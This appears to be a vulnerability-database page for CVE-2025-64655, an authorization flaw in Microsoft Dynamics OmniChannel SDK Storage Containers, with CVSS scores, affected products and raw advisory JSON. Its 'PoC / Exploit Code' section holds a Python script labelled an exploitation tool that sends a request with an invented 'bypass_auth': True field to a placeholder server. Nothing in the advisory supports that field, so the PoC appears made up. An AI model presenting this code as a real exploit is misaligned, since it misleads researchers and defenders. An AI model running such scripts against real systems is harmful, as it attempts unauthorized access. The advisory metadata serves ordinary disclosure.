Security Vulnerability Report
中文
CVE-2025-64655 CVSS 8.8 HIGH

CVE-2025-64655

Published: 2025-11-20 23:15:57
Last Modified: 2025-12-10 20:55:07

Description

Improper authorization in Dynamics OmniChannel SDK Storage Containers allows an unauthorized attacker to elevate privileges over a network.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:dynamics_omnichannel_sdk_storage_containers:-:*:*:*:*:*:*:* - VULNERABLE
Microsoft Dynamics OmniChannel SDK (all versions prior to security update)
Dynamics 365 Customer Service deployments using OmniChannel SDK

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64655 PoC - Dynamics OmniChannel SDK Authorization Bypass # This PoC demonstrates the improper authorization vulnerability import requests import json TARGET_URL = "https://vulnerable-server/OmniChannelSDK" def exploit_cve_2025_64655(): """ Exploit for CVE-2025-64655: Improper authorization in Dynamics OmniChannel SDK This demonstrates how an unauthorized attacker can elevate privileges by exploiting the improper authorization in Storage Containers. """ # Step 1: Identify the vulnerable endpoint endpoint = f"{TARGET_URL}/api/storage/containers" # Step 2: Attempt unauthorized access to privileged container data # The vulnerability allows bypassing authorization checks headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" } # Malicious request that exploits improper authorization payload = { "container_id": "privileged-container", "operation": "access", "bypass_auth": True # This exploits the authorization flaw } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print(f"[!] Successfully exploited CVE-2025-64655") print(f"[!] Gained access to: {data.get('container_data', 'N/A')}") return True else: print(f"[*] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[*] Error: {e}") return False if __name__ == "__main__": print("CVE-2025-64655 Exploitation Tool") print("=" * 50) exploit_cve_2025_64655()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64655", "sourceIdentifier": "[email protected]", "published": "2025-11-20T23:15:56.750", "lastModified": "2025-12-10T20:55:07.137", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Improper authorization in Dynamics OmniChannel SDK Storage Containers allows an unauthorized attacker to elevate privileges over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:dynamics_omnichannel_sdk_storage_containers:-:*:*:*:*:*:*:*", "matchCriteriaId": "028C8BB3-CEB2-4697-A81E-399AF999FA4F"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-64655", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}